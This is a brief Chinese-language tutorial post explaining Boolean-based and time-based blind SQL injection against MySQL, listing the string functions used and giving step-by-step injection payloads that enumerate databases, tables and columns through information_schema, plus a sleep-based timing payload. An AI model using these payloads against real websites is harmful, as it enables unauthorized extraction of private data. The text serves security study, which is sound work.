SQL注入之布尔注入原理

注:本人仅供参考学习

布尔注入定义及原理:
所谓盲注就是在服务器没有错误回显的时候完成注入攻击。
盲注分为布尔盲注和时间盲注
布尔盲注:boolean 根据注入信息返回true or fales 没有任何报错信息
时间盲注:界面返回值ture 无论输入任何值,返回的情况都是正常的来处。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

布尔注入常用函数

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

过程

1.首先我们需要判断数据库长度 
' or Length(database()) = 8 #返回true说明数据库长度为8
2.获取数据库名字
' or ord(mid(database(),1,1)) ='ascill值'#
依次获取
3.获取表的总数
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#
4.获取表的长度(第一个表)
' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= (猜测得长度)#
5.获取表的内容
' or  mid((select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA=database() limit 0,1),1,1)   = 'a' #
6.获取表的字段的总数
' or  (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名 ) = 8#8返回true说明有8个表
依次类推,最后推出内容。因为是盲猜所以只能这样一个一个去推手工比较麻烦 通常使用sqlmap进行注入

延时注入
要是页面都返回false我们就只能用if和sleep函数判断是ture还是false
正确就延迟n秒返回,错误就0s返回

id=2 and  Sleep( if(  (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7  ,0,5 )                         )好像这个是说如果数据库总数等于7的话0s返回否则5s

其他操作就跟布尔注入一样,走布尔思路就行了。

总体思路
获取数据库的总数
获取别的数据库长度
获取别的数据库名字
获取当前数据库长度
获取当前数据库内容
获取当前数据库表的总数
获取当前数据库表的长度
获取当前数据库表的内容
获取当前数据库表的字段总数
获取当前数据库表的字段第2个长度
获取当前数据库表的字段第N个内容
获取内容

暂时总结到这里,布尔的话借助工具跑比较方便,手注太麻烦了。

你可能感兴趣的:(web安全)